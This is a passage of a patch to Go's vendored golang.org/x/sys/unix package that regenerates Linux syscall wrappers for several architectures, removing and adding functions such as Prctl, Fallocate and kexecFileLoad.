-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1462,8 +24,8 @@ func Munlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,14 +34,9 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1488,8 +45,8 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,8 +55,9 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1555,6 +113,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, buf *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
-@@ -1576,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1584,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1592,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1610,7 +183,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1702,6 +275,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1735,8 +328,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1745,8 +339,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1871,6 +466,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getgroups(n int, list *_Gid_t) (nn int, err error) {
- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
- nn = int(r0)
-@@ -1892,6 +497,21 @@ func setgroups(n int, list *_Gid_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1917,8 +537,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1935,3 +560,18 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go
-index 2dd98434..854e816d 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_sparc64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,sparc64 syscall_linux.go syscall_linux_sparc64.go
-+// go run mksyscall.go -tags linux,sparc64 syscall_linux.go syscall_linux_sparc64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,sparc64
-@@ -14,944 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
